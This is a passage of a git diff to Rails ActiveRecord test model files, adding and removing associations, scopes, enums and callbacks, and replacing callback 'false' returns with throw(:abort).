   store_accessor :settings, :favorite_food
   store :preferences, :accessors => [ :remember_login ]
diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb
index feb828de31..8c1f14bd36 100644
--- a/activerecord/test/models/author.rb
+++ b/activerecord/test/models/author.rb
@@ -1,5 +1,6 @@
 class Author < ActiveRecord::Base
   has_many :posts
+  has_many :serialized_posts
   has_one :post
   has_many :very_special_comments, :through => :posts
   has_many :posts_with_comments, -> { includes(:comments) }, :class_name => "Post"
@@ -8,9 +9,7 @@ class Author < ActiveRecord::Base
   has_many :posts_sorted_by_id_limited, -> { order('posts.id').limit(1) }, :class_name => "Post"
   has_many :posts_with_categories, -> { includes(:categories) }, :class_name => "Post"
   has_many :posts_with_comments_and_categories, -> { includes(:comments, :categories).order("posts.id") }, :class_name => "Post"
-  has_many :posts_containing_the_letter_a, :class_name => "Post"
   has_many :posts_with_special_categorizations, :class_name => 'PostWithSpecialCategorization'
-  has_many :posts_with_extension, :class_name => "Post"
   has_one  :post_about_thinking, -> { where("posts.title like '%thinking%'") }, :class_name => 'Post'
   has_one  :post_about_thinking_with_last_comment, -> { where("posts.title like '%thinking%'").includes(:last_comment) }, :class_name => 'Post'
   has_many :comments, through: :posts do
@@ -31,8 +30,14 @@ class Author < ActiveRecord::Base
   has_many :thinking_posts, -> { where(:title => 'So I was thinking') }, :dependent => :delete_all, :class_name => 'Post'
   has_many :welcome_posts, -> { where(:title => 'Welcome to the weblog') }, :class_name => 'Post'
 
+  has_many :welcome_posts_with_one_comment,
+           -> { where(title: 'Welcome to the weblog').where('comments_count = ?', 1) },
+           class_name: 'Post'
+  has_many :welcome_posts_with_comments,
+           -> { where(title: 'Welcome to the weblog').where(Post.arel_table[:comments_count].gt(0)) },
+           class_name: 'Post'
+
   has_many :comments_desc, -> { order('comments.id DESC') }, :through => :posts, :source => :comments
-  has_many :limited_comments, -> { limit(1) }, :through => :posts, :source => :comments
   has_many :funky_comments, :through => :posts, :source => :comments
   has_many :ordered_uniq_comments, -> { distinct.order('comments.id') }, :through => :posts, :source => :comments
   has_many :ordered_uniq_comments_desc, -> { distinct.order('comments.id DESC') }, :through => :posts, :source => :comments
@@ -40,13 +45,14 @@ class Author < ActiveRecord::Base
 
   has_many :special_posts
   has_many :special_post_comments, :through => :special_posts, :source => :comments
+  has_many :special_posts_with_default_scope, :class_name => 'SpecialPostWithDefaultScope'
 
   has_many :sti_posts, :class_name => 'StiPost'
   has_many :sti_post_comments, :through => :sti_posts, :source => :comments
 
-  has_many :special_nonexistant_posts, -> { where("posts.body = 'nonexistant'") }, :class_name => "SpecialPost"
-  has_many :special_nonexistant_post_comments, -> { where('comments.post_id' => 0) }, :through => :special_nonexistant_posts, :source => :comments
-  has_many :nonexistant_comments, :through => :posts
+  has_many :special_nonexistent_posts, -> { where("posts.body = 'nonexistent'") }, :class_name => "SpecialPost"
+  has_many :special_nonexistent_post_comments, -> { where('comments.post_id' => 0) }, :through => :special_nonexistent_posts, :source => :comments
+  has_many :nonexistent_comments, :through => :posts
 
   has_many :hello_posts, -> { where "posts.body = 'hello'" }, :class_name => "Post"
   has_many :hello_post_comments, :through => :hello_posts, :source => :comments
@@ -136,6 +142,8 @@ class Author < ActiveRecord::Base
   has_many :posts_with_default_include, :class_name => 'PostWithDefaultInclude'
   has_many :comments_on_posts_with_default_include, :through => :posts_with_default_include, :source => :comments
 
+  has_many :posts_with_signature, ->(record) { where("posts.title LIKE ?", "%by #{record.name.downcase}%") }, class_name: "Post"
+
   scope :relation_include_posts, -> { includes(:posts) }
   scope :relation_include_tags,  -> { includes(:tags) }
 
diff --git a/activerecord/test/models/auto_id.rb b/activerecord/test/models/auto_id.rb
index d720e2be5e..82c6544bd5 100644
--- a/activerecord/test/models/auto_id.rb
+++ b/activerecord/test/models/auto_id.rb
@@ -1,4 +1,4 @@
 class AutoId < ActiveRecord::Base
-  def self.table_name () "auto_id_tests" end
-  def self.primary_key () "auto_id" end
+  self.table_name = "auto_id_tests"
+  self.primary_key = "auto_id"
 end
diff --git a/activerecord/test/models/bird.rb b/activerecord/test/models/bird.rb
index dff099c1fb..2a51d903b8 100644
--- a/activerecord/test/models/bird.rb
+++ b/activerecord/test/models/bird.rb
@@ -7,6 +7,6 @@ class Bird < ActiveRecord::Base
   attr_accessor :cancel_save_from_callback
   before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
   def cancel_save_callback_method
-    false
+    throw(:abort)
   end
 end
diff --git a/activerecord/test/models/book.rb b/activerecord/test/models/book.rb
index 5458a28cc9..2170018068 100644
--- a/activerecord/test/models/book.rb
+++ b/activerecord/test/models/book.rb
@@ -2,8 +2,17 @@ class Book < ActiveRecord::Base
   has_many :authors
 
   has_many :citations, :foreign_key => 'book1_id'
-  has_many :references, -> { distinct }, :through => :citations, :source => :reference_of
+  has_many :references, -> { distinct }, through: :citations, source: :reference_of
 
   has_many :subscriptions
-  has_many :subscribers, :through => :subscriptions
+  has_many :subscribers, through: :subscriptions
+
+  enum status: [:proposed, :written, :published]
+  enum read_status: {unread: 0, reading: 2, read: 3}
+  enum nullable_status: [:single, :married]
+
+  def published!
+    super
+    "do publish work..."
+  end
 end
diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb
index 4361188e21..a6e83fe353 100644
--- a/activerecord/test/models/bulb.rb
+++ b/activerecord/test/models/bulb.rb
@@ -43,3 +43,9 @@ class FunkyBulb < Bulb
     raise "before_destroy was called"
   end
 end
+
+class FailedBulb < Bulb
+  before_destroy do
+    throw(:abort)
+  end
+end
diff --git a/activerecord/test/models/cake_designer.rb b/activerecord/test/models/cake_designer.rb
new file mode 100644
index 0000000000..9c57ef573a
--- /dev/null
+++ b/activerecord/test/models/cake_designer.rb
@@ -0,0 +1,3 @@
+class CakeDesigner < ActiveRecord::Base
+  has_one :chef, as: :employable
+end
diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb
index a14a9febba..81263b79d1 100644
--- a/activerecord/test/models/car.rb
+++ b/activerecord/test/models/car.rb
@@ -1,22 +1,20 @@
 class Car < ActiveRecord::Base
-
   has_many :bulbs
+  has_many :all_bulbs, -> { unscope where: :name }, class_name: "Bulb"
   has_many :funky_bulbs, class_name: 'FunkyBulb', dependent: :destroy
+  has_many :failed_bulbs, class_name: 'FailedBulb', dependent: :destroy
   has_many :foo_bulbs, -> { where(:name => 'foo') }, :class_name => "Bulb"
-  has_many :frickinawesome_bulbs, -> { where :frickinawesome => true }, :class_name => "Bulb"
 
   has_one :bulb
-  has_one :frickinawesome_bulb, -> { where :frickinawesome => true }, :class_name => "Bulb"
 
   has_many :tyres
-  has_many :engines, :dependent => :destroy
+  has_many :engines, :dependent => :destroy, inverse_of: :my_car
   has_many :wheels, :as => :wheelable, :dependent => :destroy
 
   scope :incl_tyres, -> { includes(:tyres) }
   scope :incl_engines, -> { includes(:engines) }
 
   scope :order_using_new_style,  -> { order('name asc') }
-
 end
 
 class CoolCar < Car
diff --git a/activerecord/test/models/category.rb b/activerecord/test/models/category.rb
index 7da39a8e33..272223e1d8 100644
--- a/activerecord/test/models/category.rb
+++ b/activerecord/test/models/category.rb
@@ -22,6 +22,7 @@ class Category < ActiveRecord::Base
   end
 
   has_many :categorizations
+  has_many :special_categorizations
   has_many :post_comments, :through => :posts, :source => :comments
 
   has_many :authors, :through => :categorizations
diff --git a/activerecord/test/models/chef.rb b/activerecord/test/models/chef.rb
new file mode 100644
index 0000000000..67a4e54f06
--- /dev/null
+++ b/activerecord/test/models/chef.rb
@@ -0,0 +1,3 @@
+class Chef < ActiveRecord::Base
+  belongs_to :employable, polymorphic: true
+end
diff --git a/activerecord/test/models/citation.rb b/activerecord/test/models/citation.rb
index 545aa8110d..3d87eb795c 100644
--- a/activerecord/test/models/citation.rb
+++ b/activerecord/test/models/citation.rb
@@ -1,6 +1,3 @@
 class Citation < ActiveRecord::Base
   belongs_to :reference_of, :class_name => "Book", :foreign_key => :book2_id
-
-  belongs_to :book1, :class_name => "Book", :foreign_key => :book1_id
-  belongs_to :book2, :class_name => "Book", :foreign_key => :book2_id
 end
diff --git a/activerecord/test/models/club.rb b/activerecord/test/models/club.rb
index 816c5e6937..6ceafe5858 100644
--- a/activerecord/test/models/club.rb
+++ b/activerecord/test/models/club.rb
@@ -2,14 +2,22 @@ class Club < ActiveRecord::Base
   has_one :membership
   has_many :memberships, :inverse_of => false
   has_many :members, :through => :memberships
-  has_many :current_memberships
   has_one :sponsor
   has_one :sponsored_member, :through => :sponsor, :source => :sponsorable, :source_type => "Member"
   belongs_to :category
 
+  has_many :favourites, -> { where(memberships: { favourite: true }) }, through: :memberships, source: :member
+
   private
 
   def private_method
     "I'm sorry sir, this is a *private* club, not a *pirate* club"
   end
 end
+
+class SuperClub < ActiveRecord::Base
+  self.table_name = "clubs"
+
+  has_many :memberships, class_name: 'SuperMembership', foreign_key: 'club_id'
+  has_many :members, through: :memberships
+end
diff --git a/activerecord/test/models/college.rb b/activerecord/test/models/college.rb
index c7495d7deb..501af4a8dd 100644
--- a/activerecord/test/models/college.rb
+++ b/activerecord/test/models/college.rb
@@ -1,5 +1,10 @@
 require_dependency 'models/arunit2_model'
+require 'active_support/core_ext/object/with_options'
 
 class College < ARUnit2Model
   has_many :courses
+
+  with_options dependent: :destroy do |assoc|
+    assoc.has_many :students, -> { where(active: true) }
+  end
 end
diff --git a/activerecord/test/models/column.rb b/activerecord/test/models/column.rb
new file mode 100644
index 0000000000..499358b4cf
--- /dev/null
+++ b/activerecord/test/models/column.rb
@@ -0,0 +1,3 @@
+class Column < ActiveRecord::Base
+  belongs_to :record
+end
diff --git a/activerecord/test/models/comment.rb b/activerecord/test/models/comment.rb
index ede5fbd0c6..b38b17e90e 100644
--- a/activerecord/test/models/comment.rb
+++ b/activerecord/test/models/comment.rb
@@ -7,6 +7,10 @@ class Comment < ActiveRecord::Base
   scope :created, -> { all }
 
   belongs_to :post, :counter_cache => true
+  belongs_to :author,   polymorphic: true
+  belongs_to :resource, polymorphic: true
+  belongs_to :developer
+
   has_many :ratings
 
   belongs_to :first_post, :foreign_key => :post_id
@@ -26,6 +30,10 @@ class Comment < ActiveRecord::Base
     all
   end
   scope :all_as_scope, -> { all }
+
+  def to_s
+    body
+  end
 end
 
 class SpecialComment < Comment
@@ -36,3 +44,16 @@ end
 
 class VerySpecialComment < Comment
 end
+
+class CommentThatAutomaticallyAltersPostBody < Comment
+  belongs_to :post, class_name: "PostThatLoadsCommentsInAnAfterSaveHook", foreign_key: :post_id
+
+  after_save do |comment|
+    comment.post.update_attributes(body: "Automatically altered")
+  end
+end
+
+class CommentWithDefaultScopeReferencesAssociation < Comment
+  default_scope ->{ includes(:developer).order('developers.name').references(:developer) }
+  belongs_to :developer
+end
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
index c5d4ec0833..5a56616eb9 100644
--- a/activerecord/test/models/company.rb
+++ b/activerecord/test/models/company.rb
@@ -10,6 +10,12 @@ class Company < AbstractCompany
   has_one :dummy_account, :foreign_key => "firm_id", :class_name => "Account"
   has_many :contracts
   has_many :developers, :through => :contracts
+  has_many :accounts
+
+  scope :of_first_firm, lambda {
+    joins(:account => :firm).
+    where('firms.id' => 1)
+  }
 
   def arbitrary_method
     "I am Jack's profound disappointment"
@@ -35,11 +41,13 @@ module Namespaced
 end
 
 class Firm < Company
+  to_param :name
+
   has_many :clients, -> { order "id" }, :dependent => :destroy, :before_remove => :log_before_remove, :after_remove  => :log_after_remove
   has_many :unsorted_clients, :class_name => "Client"
   has_many :unsorted_clients_with_symbol, :class_name => :Client
   has_many :clients_sorted_desc, -> { order "id DESC" }, :class_name => "Client"
-  has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client"
+  has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client", :inverse_of => :firm
   has_many :clients_ordered_by_name, -> { order "name" }, :class_name => "Client"
   has_many :unvalidated_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :validate => false
   has_many :dependent_clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client", :dependent => :destroy
@@ -49,7 +57,6 @@ class Firm < Company
   has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, :class_name => "Client"
   has_many :clients_like_ms_with_hash_conditions, -> { where(:name => 'Microsoft').order("id") }, :class_name => "Client"
   has_many :plain_clients, :class_name => 'Client'
-  has_many :readonly_clients, -> { readonly }, :class_name => 'Client'
   has_many :clients_using_primary_key, :class_name => 'Client',
            :primary_key => 'name', :foreign_key => 'firm_name'
   has_many :clients_using_primary_key_with_delete_all, :class_name => 'Client',
@@ -65,6 +72,7 @@ class Firm < Company
   # Oracle tests were failing because of that as the second fixture was selected
   has_one :account_using_primary_key, -> { order('id') }, :primary_key => "firm_id", :class_name => "Account"
   has_one :account_using_foreign_and_primary_keys, :foreign_key => "firm_name", :primary_key => "name", :class_name => "Account"
+  has_one :account_with_inexistent_foreign_key, class_name: 'Account', foreign_key: "inexistent"
   has_one :deletable_account, :foreign_key => "firm_id", :class_name => "Account", :dependent => :delete
 
   has_one :account_limit_500_with_hash_conditions, -> { where :credit_limit => 500 }, :foreign_key => "firm_id", :class_name => "Account"
@@ -118,6 +126,10 @@ class Client < Company
   has_many :accounts, :through => :firm, :source => :accounts
   belongs_to :account
 
+  validate do
+    firm
+  end
+
   class RaisedOnSave < RuntimeError; end
   attr_accessor :raise_on_save
   before_save do
@@ -167,7 +179,6 @@ class ExclusivelyDependentFirm < Company
   has_one :account, :foreign_key => "firm_id", :dependent => :delete
   has_many :dependent_sanitized_conditional_clients_of_firm, -> { order("id").where("name = 'BigShot Inc.'") }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
   has_many :dependent_conditional_clients_of_firm, -> { order("id").where("name = ?", 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
-  has_many :dependent_hash_conditional_clients_of_firm, -> { order("id").where(:name => 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
 end
 
 class SpecialClient < Client
diff --git a/activerecord/test/models/company_in_module.rb b/activerecord/test/models/company_in_module.rb
index 38b0b6aafa..dae102d12b 100644
--- a/activerecord/test/models/company_in_module.rb
+++ b/activerecord/test/models/company_in_module.rb
@@ -46,6 +46,24 @@ module MyApplication
         end
       end
     end
+
+    module Suffixed
+      def self.table_name_suffix
+        '_suffixed'
+      end
+
+      class Company < ActiveRecord::Base
+      end
+
+      class Firm < Company
+        self.table_name = 'companies'
+      end
+
+      module Nested
+        class Company < ActiveRecord::Base
+        end
+      end
+    end
   end
 
   module Billing
diff --git a/activerecord/test/models/contact.rb b/activerecord/test/models/contact.rb
index a1cb8d62b6..3ea17c3abf 100644
--- a/activerecord/test/models/contact.rb
+++ b/activerecord/test/models/contact.rb
@@ -8,6 +8,7 @@ module ContactFakeColumns
         table_name => 'id'
       }
 
+      column :id,             :integer
       column :name,           :string
       column :age,            :integer
       column :avatar,         :binary
diff --git a/activerecord/test/models/contract.rb b/activerecord/test/models/contract.rb
index 2cf5aa7a85..cdf7b267b5 100644
--- a/activerecord/test/models/contract.rb
+++ b/activerecord/test/models/contract.rb
@@ -1,6 +1,7 @@
 class Contract < ActiveRecord::Base
   belongs_to :company
   belongs_to :developer
+  belongs_to :firm, :foreign_key => 'company_id'
 
   before_save :hi
   after_save :bye
diff --git a/activerecord/test/models/customer.rb b/activerecord/test/models/customer.rb
index 7e8e82542f..afe4b3d707 100644
--- a/activerecord/test/models/customer.rb
+++ b/activerecord/test/models/customer.rb
@@ -2,7 +2,7 @@ class Customer < ActiveRecord::Base
   cattr_accessor :gps_conversion_was_run
 
   composed_of :address, :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ], :allow_nil => true
-  composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| balance.to_money }
+  composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new(&:to_money)
   composed_of :gps_location, :allow_nil => true
   composed_of :non_blank_gps_location, :class_name => "GpsLocation", :allow_nil => true, :mapping => %w(gps_location gps_location),
               :converter => lambda { |gps| self.gps_conversion_was_run = true; gps.blank? ? nil : GpsLocation.new(gps)}
diff --git a/activerecord/test/models/department.rb b/activerecord/test/models/department.rb
new file mode 100644
index 0000000000..08004a0ed3
--- /dev/null
+++ b/activerecord/test/models/department.rb
@@ -0,0 +1,4 @@
+class Department < ActiveRecord::Base
+  has_many :chefs
+  belongs_to :hotel
+end
diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb
index c8e2be580e..d2a5a7fc49 100644
--- a/activerecord/test/models/developer.rb
+++ b/activerecord/test/models/developer.rb
@@ -13,6 +13,10 @@ class Developer < ActiveRecord::Base
     end
   end
 
+  accepts_nested_attributes_for :projects
+
+  has_and_belongs_to_many :shared_computers, class_name: "Computer"
+
   has_and_belongs_to_many :projects_extended_by_name,
       -> { extending(DeveloperProjectsAssociationExtension) },
       :class_name => "Project",
@@ -36,8 +40,16 @@ class Developer < ActiveRecord::Base
       end
 
   has_and_belongs_to_many :special_projects, :join_table => 'developers_projects', :association_foreign_key => 'project_id'
+  has_and_belongs_to_many :sym_special_projects,
+                          :join_table => :developers_projects,
+                          :association_foreign_key => 'project_id',
+                          :class_name => 'SpecialProject'
 
   has_many :audit_logs
+  has_many :contracts
+  has_many :firms, :through => :contracts, :source => :firm
+  has_many :comments, ->(developer) { where(body: "I'm #{developer.name}") }
+  has_many :ratings, through: :comments
 
   scope :jamises, -> { where(:name => 'Jamis') }
 
@@ -68,12 +80,6 @@ class AuditLog < ActiveRecord::Base
   belongs_to :unvalidated_developer, :class_name => 'Developer'
 end
 
-DeveloperSalary = Struct.new(:amount)
-class DeveloperWithAggregate < ActiveRecord::Base
-  self.table_name = 'developers'
-  composed_of :salary, :class_name => 'DeveloperSalary', :mapping => [%w(salary amount)]
-end
-
 class DeveloperWithBeforeDestroyRaise < ActiveRecord::Base
   self.table_name = 'developers'
   has_and_belongs_to_many :projects, :join_table => 'developers_projects', :foreign_key => 'developer_id'
@@ -159,6 +165,8 @@ class DeveloperCalledJamis < ActiveRecord::Base
 
   default_scope { where(:name => 'Jamis') }
   scope :poor, -> { where('salary < 150000') }
+  scope :david, -> { where name: "David" }
+  scope :david2, -> { unscoped.where name: "David" }
 end
 
 class PoorDeveloperCalledJamis < ActiveRecord::Base
diff --git a/activerecord/test/models/drink_designer.rb b/activerecord/test/models/drink_designer.rb
new file mode 100644
index 0000000000..2db968ef11
--- /dev/null
+++ b/activerecord/test/models/drink_designer.rb
@@ -0,0 +1,3 @@
+class DrinkDesigner < ActiveRecord::Base
+  has_one :chef, as: :employable
+end
diff --git a/activerecord/test/models/electron.rb b/activerecord/test/models/electron.rb
index 35af9f679b..6fc270673f 100644
--- a/activerecord/test/models/electron.rb
+++ b/activerecord/test/models/electron.rb
@@ -1,3 +1,5 @@
 class Electron < ActiveRecord::Base
   belongs_to :molecule
+
+  validates_presence_of :name
 end
diff --git a/activerecord/test/models/face.rb b/activerecord/test/models/face.rb
index edb75d333f..91e46f83e5 100644
--- a/activerecord/test/models/face.rb
+++ b/activerecord/test/models/face.rb
@@ -1,6 +1,8 @@
 class Face < ActiveRecord::Base
   belongs_to :man, :inverse_of => :face
   belongs_to :polymorphic_man, :polymorphic => true, :inverse_of => :polymorphic_face
+  # Oracle identifier lengh is limited to 30 bytes or less, `polymorphic` renamed `poly`
+  belongs_to :poly_man_without_inverse, :polymorphic => true
   # These is a "broken" inverse_of for the purposes of testing
   belongs_to :horrible_man, :class_name => 'Man', :inverse_of => :horrible_face
   belongs_to :horrible_polymorphic_man, :polymorphic => true, :inverse_of => :horrible_polymorphic_face
diff --git a/activerecord/test/models/hotel.rb b/activerecord/test/models/hotel.rb
new file mode 100644
index 0000000000..b352cd22f3
--- /dev/null
+++ b/activerecord/test/models/hotel.rb
@@ -0,0 +1,6 @@
+class Hotel < ActiveRecord::Base
+  has_many :departments
+  has_many :chefs, through: :departments
+  has_many :cake_designers, source_type: 'CakeDesigner', source: :employable, through: :chefs
+  has_many :drink_designers, source_type: 'DrinkDesigner', source: :employable, through: :chefs
+end
diff --git a/activerecord/test/models/image.rb b/activerecord/test/models/image.rb
new file mode 100644
index 0000000000..7ae8e4a7f6
--- /dev/null
+++ b/activerecord/test/models/image.rb
@@ -0,0 +1,3 @@
+class Image < ActiveRecord::Base
+  belongs_to :imageable, foreign_key: :imageable_identifier, foreign_type: :imageable_class
+end
diff --git a/activerecord/test/models/man.rb b/activerecord/test/models/man.rb
index f4d127730c..4fbb6b226b 100644
--- a/activerecord/test/models/man.rb
+++ b/activerecord/test/models/man.rb
@@ -1,6 +1,7 @@
 class Man < ActiveRecord::Base
   has_one :face, :inverse_of => :man
   has_one :polymorphic_face, :class_name => 'Face', :as => :polymorphic_man, :inverse_of => :polymorphic_man
+  has_one :polymorphic_face_without_inverse, :class_name => 'Face', :as => :poly_man_without_inverse
   has_many :interests, :inverse_of => :man
   has_many :polymorphic_interests, :class_name => 'Interest', :as => :polymorphic_man, :inverse_of => :polymorphic_man
   # These are "broken" inverse_of associations for the purposes of testing
diff --git a/activerecord/test/models/member.rb b/activerecord/test/models/member.rb
index cc47c7bc18..dc0566d8a7 100644
--- a/activerecord/test/models/member.rb
+++ b/activerecord/test/models/member.rb
@@ -2,7 +2,6 @@ class Member < ActiveRecord::Base
   has_one :current_membership
   has_one :selected_membership
   has_one :membership
-  has_many :fellow_members, :through => :club, :source => :members
   has_one :club, :through => :current_membership
   has_one :selected_club, :through => :selected_membership, :source => :club
   has_one :favourite_club, -> { where "memberships.favourite = ?", true }, :through => :membership, :source => :club
@@ -28,6 +27,9 @@ class Member < ActiveRecord::Base
   has_many :clubs, :through => :current_memberships
 
   has_one :club_through_many, :through => :current_memberships, :source => :club
+
+  belongs_to :admittable, polymorphic: true
+  has_one :premium_club, through: :admittable
 end
 
 class SelfMember < ActiveRecord::Base
diff --git a/activerecord/test/models/membership.rb b/activerecord/test/models/membership.rb
index bcbb7e42c5..df7167ee93 100644
--- a/activerecord/test/models/membership.rb
+++ b/activerecord/test/models/membership.rb
@@ -8,6 +8,11 @@ class CurrentMembership < Membership
   belongs_to :club
 end
 
+class SuperMembership < Membership
+  belongs_to :member, -> { order('members.id DESC') }
+  belongs_to :club
+end
+
 class SelectedMembership < Membership
   def self.default_scope
     select("'1' as foo")
diff --git a/activerecord/test/models/mixed_case_monkey.rb b/activerecord/test/models/mixed_case_monkey.rb
index 4d37371777..1c35006665 100644
--- a/activerecord/test/models/mixed_case_monkey.rb
+++ b/activerecord/test/models/mixed_case_monkey.rb
@@ -1,5 +1,3 @@
 class MixedCaseMonkey < ActiveRecord::Base
-  self.primary_key = 'monkeyID'
-
   belongs_to :man
 end
diff --git a/activerecord/test/models/molecule.rb b/activerecord/test/models/molecule.rb
index 69325b8d29..26870c8f88 100644
--- a/activerecord/test/models/molecule.rb
+++ b/activerecord/test/models/molecule.rb
@@ -1,4 +1,6 @@
 class Molecule < ActiveRecord::Base
   belongs_to :liquid
   has_many :electrons
+
+  accepts_nested_attributes_for :electrons
 end
diff --git a/activerecord/test/models/movie.rb b/activerecord/test/models/movie.rb
index 6384b4c801..0302abad1e 100644
--- a/activerecord/test/models/movie.rb
+++ b/activerecord/test/models/movie.rb
@@ -1,5 +1,5 @@
 class Movie < ActiveRecord::Base
-  def self.primary_key
-    "movieid"
-  end
+  self.primary_key = "movieid"
+
+  validates_presence_of :name
 end
diff --git a/activerecord/test/models/organization.rb b/activerecord/test/models/organization.rb
index 72e7bade68..f3e92f3067 100644
--- a/activerecord/test/models/organization.rb
+++ b/activerecord/test/models/organization.rb
@@ -8,5 +8,7 @@ class Organization < ActiveRecord::Base
   has_one :author, :primary_key => :name
   has_one :author_owned_essay_category, :through => :author, :source => :owned_essay_category
 
+  has_many :posts, :through => :author, :source => :posts
+
   scope :clubs, -> { from('clubs') }
 end
diff --git a/activerecord/test/models/owner.rb b/activerecord/test/models/owner.rb
index 1c7ed4aa3e..cedb774b10 100644
--- a/activerecord/test/models/owner.rb
+++ b/activerecord/test/models/owner.rb
@@ -2,4 +2,35 @@ class Owner < ActiveRecord::Base
   self.primary_key = :owner_id
   has_many :pets, -> { order 'pets.name desc' }
   has_many :toys, :through => :pets
+
+  belongs_to :last_pet, class_name: 'Pet'
+  scope :including_last_pet, -> {
+    select(%q[
+      owners.*, (
+        select p.pet_id from pets p
+        where p.owner_id = owners.owner_id
+        order by p.name desc
+        limit 1
+      ) as last_pet_id
+    ]).includes(:last_pet)
+  }
+
+  after_commit :execute_blocks
+
+  accepts_nested_attributes_for :pets, allow_destroy: true
+
+  def blocks
+    @blocks ||= []
+  end
+
+  def on_after_commit(&block)
+    blocks << block
+  end
+
+  def execute_blocks
+    blocks.each do |block|
+      block.call(self)
+    end
+    @blocks = []
+  end
 end
diff --git a/activerecord/test/models/parrot.rb b/activerecord/test/models/parrot.rb
index e76e83f314..b26035d944 100644
--- a/activerecord/test/models/parrot.rb
+++ b/activerecord/test/models/parrot.rb
@@ -11,7 +11,7 @@ class Parrot < ActiveRecord::Base
   attr_accessor :cancel_save_from_callback
   before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
   def cancel_save_callback_method
-    false
+    throw(:abort)
   end
 end
 
@@ -19,7 +19,7 @@ class LiveParrot < Parrot
 end
 
 class DeadParrot < Parrot
-  belongs_to :killer, :class_name => 'Pirate'
+  belongs_to :killer, :class_name => 'Pirate', foreign_key: :killer_id
 end
 
 class FunkyParrot < Parrot
diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb
index 1a282dbce4..ad12f00d42 100644
--- a/activerecord/test/models/person.rb
+++ b/activerecord/test/models/person.rb
@@ -30,6 +30,8 @@ class Person < ActiveRecord::Base
   has_many :agents_of_agents, :through => :agents, :source => :agents
   belongs_to :number1_fan, :class_name => 'Person'
 
+  has_many :personal_legacy_things, :dependent => :destroy
+
   has_many :agents_posts,         :through => :agents,       :source => :posts
   has_many :agents_posts_authors, :through => :agents_posts, :source => :author
   has_many :essays, primary_key: "first_name", foreign_key: "writer_id"
@@ -89,6 +91,19 @@ class RichPerson < ActiveRecord::Base
   self.table_name = 'people'
 
   has_and_belongs_to_many :treasures, :join_table => 'peoples_treasures'
+
+  before_validation :run_before_create, on: :create
+  before_validation :run_before_validation
+
+  private
+
+  def run_before_create
+    self.first_name = first_name.to_s + 'run_before_create'
+  end
+
+  def run_before_validation
+    self.first_name = first_name.to_s + 'run_before_validation'
+  end
 end
 
 class NestedPerson < ActiveRecord::Base
diff --git a/activerecord/test/models/personal_legacy_thing.rb b/activerecord/test/models/personal_legacy_thing.rb
new file mode 100644
index 0000000000..a7ee3a0bca
--- /dev/null
+++ b/activerecord/test/models/personal_legacy_thing.rb
@@ -0,0 +1,4 @@
+class PersonalLegacyThing < ActiveRecord::Base
+  self.locking_column = :version
+  belongs_to :person, :counter_cache => true
+end
diff --git a/activerecord/test/models/pirate.rb b/activerecord/test/models/pirate.rb
index 170fc2ffe3..366c70f902 100644
--- a/activerecord/test/models/pirate.rb
+++ b/activerecord/test/models/pirate.rb
@@ -13,11 +13,11 @@ class Pirate < ActiveRecord::Base
     :after_add     => proc {|p,pa| p.ship_log << "after_adding_proc_parrot_#{pa.id || '<new>'}"},
     :before_remove => proc {|p,pa| p.ship_log << "before_removing_proc_parrot_#{pa.id}"},
     :after_remove  => proc {|p,pa| p.ship_log << "after_removing_proc_parrot_#{pa.id}"}
+  has_and_belongs_to_many :autosaved_parrots, class_name: "Parrot", autosave: true
 
   has_many :treasures, :as => :looter
   has_many :treasure_estimates, :through => :treasures, :source => :price_estimates
 
-  # These both have :autosave enabled because accepts_nested_attributes_for is used on them.
   has_one :ship
   has_one :update_only_ship, :class_name => 'Ship'
   has_one :non_validated_ship, :class_name => 'Ship'
@@ -36,8 +36,8 @@ class Pirate < ActiveRecord::Base
 
   has_one :foo_bulb, -> { where :name => 'foo' }, :foreign_key => :car_id, :class_name => "Bulb"
 
-  accepts_nested_attributes_for :parrots, :birds, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
-  accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+  accepts_nested_attributes_for :parrots, :birds, :allow_destroy => true, :reject_if => proc(&:empty?)
+  accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc(&:empty?)
   accepts_nested_attributes_for :update_only_ship, :update_only => true
   accepts_nested_attributes_for :parrots_with_method_callbacks, :parrots_with_proc_callbacks,
     :birds_with_method_callbacks, :birds_with_proc_callbacks, :allow_destroy => true
@@ -56,7 +56,7 @@ class Pirate < ActiveRecord::Base
   attr_accessor :cancel_save_from_callback, :parrots_limit
   before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
   def cancel_save_callback_method
-    false
+    throw(:abort)
   end
 
   private
@@ -84,3 +84,9 @@ end
 class DestructivePirate < Pirate
   has_one :dependent_ship, :class_name => 'Ship', :foreign_key => :pirate_id, :dependent => :destroy
 end
+
+class FamousPirate < ActiveRecord::Base
+  self.table_name = 'pirates'
+  has_many :famous_ships
+  validates_presence_of :catchphrase, on: :conference
+end
\ No newline at end of file
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
index 25fb2cffe2..052b1c9690 100644
--- a/activerecord/test/models/post.rb
+++ b/activerecord/test/models/post.rb
@@ -18,6 +18,7 @@ class Post < ActiveRecord::Base
   end
 
   scope :containing_the_letter_a, -> { where("body LIKE '%a%'") }
+  scope :titled_with_an_apostrophe, -> { where("title LIKE '%''%'") }
